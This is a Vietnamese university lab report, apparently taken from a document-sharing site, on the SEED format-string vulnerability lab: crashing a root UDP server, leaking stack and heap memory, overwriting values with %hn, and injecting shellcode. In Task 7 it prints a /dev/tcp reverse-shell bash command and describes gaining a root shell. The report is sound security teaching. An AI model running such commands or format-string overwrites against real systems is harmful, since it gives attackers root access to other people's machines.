1. Trang chủ
  2. » Giáo Dục - Đào Tạo

THỰC tập cơ sở CHUYÊN NGHÀNH AN TOÀN PHẦN mềm NGHIÊN cứu lỗ HỔNG FORMAT STRING (FORMAT STRING VULNERABILITY LAB)

20 71 0
Tài liệu đã được kiểm tra trùng lặp

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 20
Dung lượng 2,35 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Sinh viên sẽ được cung cấp một chương trình có lỗ hổng chuỗi định dạng; nhiệm vụ của chúng ta là khai thác lỗ hổng để đạt được những điều sau thiệt hại: 1 làm hỏng chương trình, 2 đọc b

Trang 1

BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TOÀN THÔNG TIN



THỰC TẬP CƠ SỞ CHUYÊN NGHÀNH

AN TOÀN PHẦN MỀM

NGHIÊN CỨU LỖ HỔNG FORMAT_STRING

(FORMAT-STRING VULNERABILITY LAB)

………

Giảng viên hướng dẫn: PGS.TS Lương Thế Dũng

Sinh viên thực hiện: Phạm Nguyễn Tiến Anh

Lớp: AT15H

Mã số sinh viên: AT150702

Nhóm: 13

Khóa: 2018-2023

TP Hồ Chí Minh, tháng 11 năm 2021

Trang 2

BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TOÀN THÔNG TIN



THỰC TẬP CƠ SỞ CHUYÊN NGÀNH

AN TOÀN PHẦN MỀM

NGHIÊN CỨU LỖ HỔNG FORMAT_STRING

(FORMAT-STRING VULNERABILITY LAB)

Nhận xét của giáo viên hướng dẫn:

Điểm báo cáo:

Xác nhận của giáo viên hướng dẫn:

Trang 3

LỜI CẢM ƠN

Chúng em xin chân thành cảm ơn PGS.TS Lương Thế Dũng–giảng viên trực tiếp hướng dẫn, chỉ bảo, tạo mọi điều kiện thuận lợi giúp đỡ chúng em trong quá trình thực hiện đề tài

Để có được thành quả như ngày hôm nay, ngoài sự nỗ lực không ngừng nghỉ của các thành viên trong nhóm thì một phần không nhỏ đóng góp nên thành công này là nhờ

sự quan tâm, chỉ bảo, giúp đỡ của các thầy cô, các anh chị khóa trên và bạn bè xung quanh

Tuy đã có rất nhiều cố gắng và sự nỗ lực của các thành viên để hoàn thiện đề tài,

nhưng chắc chắn đề tài “NGHIÊN CỨU LỖ HỔNG FORMAT-STRING

(FORMAT-STRING VULNERABILITY LAB)” của chúng em còn nhiều thiếu sót Chúng em rất

mong nhận được sự góp ý từ các thầy giáo để nhóm em có thể hoàn thiện tốt hơn các đề tài nghiên cứu sau

Chúng em xin chân thành cảm ơn!

Trang 4

LỜI MỞ ĐẦU

Ngày nay, với xu hướng chuyển đổi số mạnh mẽ của các doanh nghiệp, công ty, tổ chức dẫn đến việc tạo ra những phần mềm quản lý, điều hành và làm việc cũng hết sức thiết yếu Bên cạnh đó, ảnh hưởng của đại dịch COVID-19 cũng đã thúc đẩy nhanh việc chuyển đổi số Để đảm bảo an toàn cho phần mềm khi tạo ra và vận hành tránh bị kẻ xấu tấn công gây thiệt hại nghiêm trọng Đó cũng là lý do để chúng em chọn chuyên đề Software Security và đặc biệt là nghiên cứu cách tấn công lỗ hổng Format-String

Trang 5

MỤC LỤC

LỜI CẢM ƠN 3

LỜI MỞ ĐẦU 4

MỤC LỤC 5

CHƯƠNG 1: TỔNG QUAN VỀ FORMAT-STRING 6

1.Giới thiệu 6

2.Mục tiêu 6

CHƯƠNG 2: TIẾN HÀNH THỰC HIỆN BÀI LAB THEO THỨ TỰ TỪNG TASK7 2.1 Task 1: Chương Trình Dễ Bị Tấn Công( The Vulnerable Program) 7

2.2 Task 2: Tìm Hiểu Layout of the Stack (Understanding the Layout of the Stack) 9

2.3 Task 3: Sự Cố Chương Trình (Crash the Program) 10

2.4 Task 4: In Ra Bộ Nhớ Của Chương Trình Máy Chủ(Print Out the Server Program’s Memory) 11

2.5 Task 5: Thay Đổi Bộ Nhớ Của Chương Trình Máy Chủ ( Change the Server Program’s Memory) 12

2.6 Task 6: Tiêm Mã Độc Vào Chương Trình Máy Chủ (Inject Malicious Code into the Server Program ) 14

2.7 Task 7: Đạt Được Một Reverse Shell (Getting A Reverse Shell ) 17

2.8 Task 8: Sửa lỗi (Fixing the Problem ) 18

CHƯƠNG 4: KẾT LUẬN 19

TÀI LIỆU THAM KHẢO 20

Trang 6

CHƯƠNG 1: TỔNG QUAN VỀ FORMAT-STRING

1.Giới thiệu

Hàm printf () trong C được sử dụng để in ra một chuỗi theo một định dạng Đối số đầu tiên của nó được gọi là chuỗi định dạng, xác định cách định dạng chuỗi Định dạng chuỗi sử dụng trình giữ chỗ được đánh dấu bởi ký tự % cho hàm printf () để điền dữ liệu trong quá trình in Việc sử dụng các chuỗi định dạng không chỉ giới hạn trong hàm printf (); nhiều hàm khác, chẳng hạn như sprintf (), fprintf (), và scanf (), cũng sử dụng chuỗi định dạng Một số chương trình cho phép người dùng cung cấp toàn bộ hoặc một phần nội dung trong một chuỗi định dạng Nếu những nội dung đó không được làm sạch, người dùng độc hại có thể sử dụng cơ hội này để lấy chương trình để chạy mã tùy ý Một

vấn đề như thế này được gọi là lỗ hổng định dạng chuỗi(format-string vulnerability).

2.Mục tiêu

Mục tiêu của bài lab này là để sinh viên có được kinh nghiệm trực tiếp về các lỗ hổng định dạng chuỗi bằng cách đưa những gì họ đã học được về lỗ hổng từ lớp học vào các hành động Sinh viên sẽ được cung cấp một chương trình có lỗ hổng chuỗi định dạng; nhiệm vụ của chúng ta là khai thác lỗ hổng để đạt được những điều sau thiệt hại: (1) làm hỏng chương trình, (2) đọc bộ nhớ trong của chương trình, (3) sửa đổi bộ nhớ trong của chương trình và nghiêm trọng nhất là (4) đưa và thực thi mã độc hại bằng cách sử dụng đặc quyền truy cập chương trình của nạn nhân

Hậu quả cuối cùng là rất nguy hiểm nếu chương trình dễ bị tấn công là chương trình đặc quyền, chẳng hạn như một root deamon, vì điều đó có thể cung cấp cho những

kẻ tấn công quyền truy cập root của hệ thống

Trang 7

CHƯƠNG 2: TIẾN HÀNH THỰC HIỆN BÀI LAB THEO THỨ TỰ

TỪNG TASK

Trước khi thực hiện tấn công để đơn giản hóa các task và cuộc tấn công, chúng

ta vô hiệu hóa ngẫu nhiên địa chỉ: Address Space Randomization Ubuntu và một số hệ

thống dựa trên Linux khác sử dụng ngẫu nhiên hóa không gian địa chỉ để ngẫu nhiên hóa địa chỉ bắt đầu của heap và stack Điều này làm cho việc đoán các địa chỉ chính xác trở nên khó khăn; đoán địa chỉ là một trong những bước quan trọng của các cuộc tấn công Trong phòng thí nghiệm này, chúng ta cần vô hiệu hóa điều này bằng lệnh dưới đây:

2.1 Task 1: Chương Trình Dễ Bị Tấn Công( The Vulnerable Program)

Chúng ta được cung cấp một chương trình dễ bị tấn công có lỗ hổng chuỗi định dạng Chương trình này là một chương trình máy chủ Khi nó chạy, nó sẽ lắng nghe cổng UDP 9090 Bất cứ khi nào một gói UDP đến cổng này, chương trình sẽ dữ liệu và gọi myprint () để in ra dữ liệu Máy chủ là một root daemon, tức là nó chạy với đặc quyền root Bên trong hàm myprintf (), có một lỗ hổng định dạng chuỗi Chúng ta sẽ khai thác

lỗ hổng này để đạt được đặc quyền root

Trang 8

Chúng ta compile chương trình máy chủ(server) được cho có lỗ hổng chuỗi định dạng Trong khi biên dịch, chúng ta làm cho ngăn xếp có thể thực thi để chúng ta có thể chèn và chạy mã của riêng mình bằng cách khai thác lỗ hổng bảo mật sau này trong phòng thí nghiệm Chạy máy chủ(server) và máy khách(client) trên cùng một VM, trước tiên chúng ta chạy chương trình phía máy chủ(server) sử dụng đặc quyền root, sau đó sẽ lắng nghe bất kỳ thông tin nào trên cổng 9090 Chương trình máy chủ là một root daemon có quyền Sau đó, chúng ta kết nối với máy chủ(server) này từ máy khách(client) sử dụng lệnh ‘nc’ với -u cho biết UDP (vì máy chủ là UDP server ) Ip địa chỉ của máy cục bộ - 127.0.0.1 và cổng là cổng UDP 9090 Điều này được thấy sau đây :

Trang 9

Trong khi compile, chúng ta nhận được một cảnh báo mà chúng ta tạm thời bỏ qua Chúng ta gửi một chuỗi cơ bản "It is working." để kiểm tra chương trình và chúng ta thấy rằng bất cứ thứ gì chúng ta gửi từ máy khách(client) đều được in chính xác theo cách tương tự trên máy chủ(server), với một số thông tin bổ sung

2.2 Task 2: Tìm Hiểu Layout of the Stack (Understanding the Layout of the Stack)

Để tìm địa chỉ của các vị trí được chỉ định, chúng ta cố gắng xem các giá trị được trả về bởi chương trình máy chủ(server) và nhắc nó ra để cung cấp thêm địa chỉ Để bắt đầu, chúng tôi thấy rằng địa chỉ của đối số ‘msg’ được in ra trong đầu ra của máy chủ(server output) Vì Return Address (2) chỉ là 4 byte dưới đó, chúng ta có thể tính toán địa chỉ của giá trị trả về là 0xBFFFF0A0 - 4 = 0xBFFFF09C Tiếp theo, để tìm địa chỉ của điểm bắt đầu bộ đệm (3), chúng tôi nhập 4 byte ngẫu nhiên ký tự - @@@@ có giá trị ASCII được gọi là 40404040 Các ký tự này sẽ được lưu trữ ở đầu bộ đệm vì chúng là các

ký tự đầu tiên và vì bộ đệm này hoàn toàn là giá trị được đưa ra bởi đầu vào Vì vậy, chúng ta nhập các ký tự và nhiều % 8x làm đầu vào để tìm các giá trị được lưu trữ trong các địa chỉ từ địa chỉ chuỗi định dạng đến một số địa chỉ ngẫu nhiên, hi vọng ở trên bộ

đệm bắt đầu Chúng ta cố gắng tìm kiếm giá trị ASCII là 40404040, để xác định sự khác

Trang 10

biệt giữa địa chỉ chuỗi định dạng và điểm bắt đầu của bộ đệm Chúng ta thấy rằng có sự khác biệt của 23% 8x giữa điểm bắt đầu của địa chỉ bộ đệm, tức là @@@@ và địa chỉ tiếp theo sau định dạng địa chỉ chuỗi Điều này có thể được nhìn thấy dưới đây:

2.3 Task 3: Sự Cố Chương Trình (Crash the Program)

Để chương trình gặp sự cố, chúng ta cung cấp một chuỗi% s làm đầu vào cho chương trình và được thấy như sau:

Ở đây, chương trình bị gặp sự cố vì % s coi giá trị thu được từ một vị trí là một địa chỉ và in ra dữ liệu được lưu trữ tại địa chỉ đó Vì chúng ta biết rằng bộ nhớ được lưu trữ không dành cho hàm printf và do đó nó có thể không chứa các địa chỉ trong tất cả các vị

Trang 11

trí được tham chiếu, chương trình bị sự cố Giá trị có thể chứa các tham chiếu đến bộ nhớ được bảo vệ hoặc có thể không chứa bộ nhớ ở tất cả, dẫn đến sự cố

2.4 Task 4: In Ra Bộ Nhớ Của Chương Trình Máy Chủ(Print Out the Server Program’s Memory)

Task 4.A: Dữ liệu ngăn xếp (Stack Data)

Tại đây, chúng ta nhập dữ liệu của mình - @@@@ và một loạt dữ liệu% 8x Sau đó, chúng tôi tìm kiếm giá trị của mình - @@@@, có giá trị ASCII là 40404040 được lưu trong bộ nhớ Chúng tôi thấy rằng ở % x thứ 24, chúng ta thấy đầu vào và do đó chúng tôi đã thành công trong việc đọc dữ liệu được lưu trữ trên ngăn xếp Phần còn lại của % x cũng đang hiển thị nội dung của ngăn xếp Chúng ta yêu cầu 24 mã định dạng để

in ra bản đầu tiên 4 byte đầu vào của chúng ta

Task 4.B: Cây dữ liệu (Heap Data)

Tiếp theo, chúng ta cung cấp thông tin đầu vào sau cho máy chủ(server):

Trang 12

Chúng ta thấy kết quả sau cho thấy rằng thông điệp bí mật được lưu trữ trong vùng đống được in ra:

Do đó, chúng ta đã thành công trong việc đọc dữ liệu heap bằng cách lưu trữ địa chỉ của dữ liệu heap trong ngăn xếp và sau đó sử dụng trình định dạng% s ở đúng vị trí để nó đọc bộ nhớ được lưu trữ địa chỉ và sau đó lấy giá trị từ địa chỉ đó

2.5 Task 5: Thay Đổi Bộ Nhớ Của Chương Trình Máy Chủ ( Change the Server Program’s Memory)

Task 5.A: Thay đổi giá trị thành một giá trị khác (Change the value to a different value)

Trong task phụ này, chúng ta cần thay đổi nội dung của biến mục tiêu thành một thứ khác Nhiệm vụ của bạn được coi là thành công nếu bạn có thể thay đổi nó thành một giá trị khác, bất kể nó có thể là giá trị nào

Trang 13

Điều này là để thay đổi giá trị của biến 'target' thành 0x123.

Task 5.B: Thay đổi giá trị thành 0x500 (Change the value to 0x500)

Trong task phụ này, chúng ta cần thay đổi nội dung của biến mục tiêu thành một giá trị cụ thể 0x500 Nhiệm vụ của bạn chỉ được coi là thành công nếu giá trị của biến trở thành 0x500

Task 5.C: Thay đổi giá trị thành 0xFF990000 (Change the value to 0xFF990000)

Task phụ này tương tự như task trước, ngoại trừ giá trị mục tiêu bây giờ là một số lớn Trong một cuộc tấn công chuỗi định dạng, giá trị này là tổng số ký tự được in ra bởi hàm printf (); việc in ra số lượng lớn ký tự này có thể mất hàng giờ Bạn cần sử dụng cách tiếp cận nhanh hơn Ý tưởng cơ bản là sử dụng % hn, thay vì % n, vì vậy chúng ta có thể sửa đổi không gian bộ nhớ hai byte, thay vì bốn byte Việc in ra 216 ký tự không mất nhiều thời gian Chúng ta có thể chia không gian bộ nhớ của biến đích thành hai khối

bộ nhớ, mỗi khối có hai byte Chúng ta chỉ cần đặt một khối thành 0xFF99 và đặt khối còn lại thành 0x0000 Điều này có nghĩa là trong cuộc tấn công của bạn, bạn cần cung cấp hai địa chỉ trong chuỗi định dạng

Trong các cuộc tấn công chuỗi định dạng, việc thay đổi nội dung của không gian

bộ nhớ thành một giá trị rất nhỏ là khá khó khăn (vui lòng giải thích lý do tại sao trong báo cáo); 0x00 là một trường hợp cực đoan Để đạt được mục tiêu này, chúng ta cần sử dụng kỹ thuật tràn Ý tưởng cơ bản là khi chúng ta tạo một số lớn hơn những gì bộ nhớ cho phép, chỉ phần dưới của số đó sẽ được lưu trữ (về cơ bản, có một số nguyên bị tràn)

Ví dụ: nếu số 216 + 5 được lưu trữ trong không gian bộ nhớ 16 bit, thì chỉ có 5 sẽ được lưu trữ Do đó, để về 0, chúng ta chỉ cần lấy số 216 = 65,536

Trang 14

Đầu tiên, chúng ta cần chia nó thành hai phần: 0xFF99 và 0x10000.

Vì phương pháp little endian được sử dụng, 0xFF99 được thêm vào 0x0804a046

và 103 được thêm vào 0x0804a644

0xFF99 - 0x8 = 0xFF91 = 65425 (0x0804a046)

0x10000 - 0xFF91 - 0x8 = 0x67 = 103 (0x0804a644)

2.6 Task 6: Tiêm Mã Độc Vào Chương Trình Máy Chủ (Inject Malicious Code into the Server Program )

Bây giờ chúng ta đã sẵn sàng tới trọng tâm của cuộc tấn công này, tức là đưa một đoạn mã độc hại vào chương trình máy chủ, vì vậy chúng tôi có thể xóa một tệp khỏi máy chủ Nhiệm vụ này sẽ đặt nền móng cho nhiệm vụ tiếp theo của chúng ta, đó là giành

Trang 15

Để thực hiện task này, chúng ta cần đưa một đoạn mã độc hại, ở định dạng nhị phân, vào máy chủ của bộ nhớ, và sau đó sử dụng lỗ hổng chuỗi định dạng để sửa đổi trường địa chỉ trả về của một hàm, vì vậy khi hàm trả về, nó sẽ nhảy đến mã được đưa

vào của chúng ta Để xóa một tệp, chúng tôi muốn mã độc hại thực hiện lệnh / bin / rm bằng cách sử dụng một chương trình shell, chẳng hạn như / bin / bash Loại mã này được gọi là shellcode.

Trước tiên, chúng ta tạo một tệp có tên myfile ở phía máy chủ mà chúng tôi sẽ cố gắng xóa trong tác vụ này:

Viết exploit.py với một phần quan trọng như bên dưới:

Tiếp theo, chúng ta nhập thông tin sau vào máy chủ, đó là sửa đổi địa chỉ trả về

0xBFFFF358 với giá trị trên ngăn xếp có chứa mã độc hại Mã độc này có lệnh rm đang

xóa tệp đã tạo trước đó trên máy chủ

Trang 16

Ở đây, ở phần đầu của mã độc, chúng ta nhập vào một số của NOP operations , ví

dụ như \ x90 để chương trình của chúng ta có thể chạy từ đầu và chúng ta không cần phải

đoán địa chỉ chính xác của nơi bắt đầu mã của chúng ta NOP cung cấp cho chúng ta một loạt các địa chỉ và chuyển đến bất kỳ địa chỉ nào trong số này sẽ cung cấp cho chúng ta một kết quả thành công, hoặc là chương trình của chúng ta có thể bị lỗi vì việc thực thi

mã có thể không đúng thứ tự

Kết quả sau cho thấy cuộc tấn công của chúng ta đã thành công vì không còn thấy tệp:

Chuỗi định dạng được tạo có địa chỉ trả về, tức là 0xBFFFF09C được lưu trữ ở đầu đệm Chúng ta chia địa chỉ này thành 2 2-bytes,tức là 0xBFFFF09C và 0xBFFFF09E, để quá trình nhanh hơn 2 địa chỉ này được phân tách bằng một số 4 byte

để giá trị được lưu trong 2 thứ 2 byte có thể được tăng đến một giá trị mong muốn giữa 2% hn Nếu không có 4 byte bổ sung này sau đó khi thấy %x trong đầu vào sau %hn đầu tiên, giá trị địa chỉ BFFFF09C sẽ nhận được được in ra thay vì ghi vào nó và trong trường hợp có 2 trở lại% hn, thì cùng một giá trị sẽ được lưu trữ trong cả hai địa chỉ Sau đó, chúng tôi sử dụng công cụ sửa đổi độ chính xác để lấy địa chỉ của mã độc được lưu trong địa chỉ trả về và sử dụng% hn để lưu địa chỉ này Các mã độc được lưu trong bộ đệm, phía trên địa chỉ 3 được đánh dấu trong Hình trong sách hướng dẫn Các địa chỉ được sử dụng ở đây là 0xBFFFF15C, đang lưu trữ một trong các NOP

Trang 17

2.7 Task 7: Đạt Được Một Reverse Shell (Getting A Reverse Shell )

Trong chuỗi định dạng trước, chúng ta sửa đổi mã độc để chúng ta chạy lệnh sau

để đạt được một reverse shell : /bin/bash -c "/bin/bash -i > /dev/tcp/localhost/7070 0<&1 2>&1

Chuỗi đã nhập như sau và như đã thấy, nó giống với chuỗi trước đó ngoại trừ mã:

Trước khi cung cấp đầu vào cho máy chủ, chúng ta chạy một máy chủ TCP đang lắng nghe cổng 7070 trên máy của kẻ tấn công và sau đó nhập chuỗi định dạng này Trong ảnh chụp màn hình tiếp theo, chúng ta thấy rằng chúng ta có đạt được thành công trình reverse shell vì máy chủ TCP đang nghe hiện đang hiển thị những gì đã trước đó

hiển thị trên máy chủ Trình bao đảo ngược cho phép máy nạn nhân có được root shell

của server được chỉ định bởi # cũng như root @VM

Điều này cho thấy cách mà chúng tôi có thể khai thác lỗ hổng chuỗi định dạng để có được quyền truy cập root vào máy chủ hoặc bất kỳ máy nào cho trường hợp đó

Ngày đăng: 23/03/2022, 19:15

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

🧩 Sản phẩm bạn có thể quan tâm

w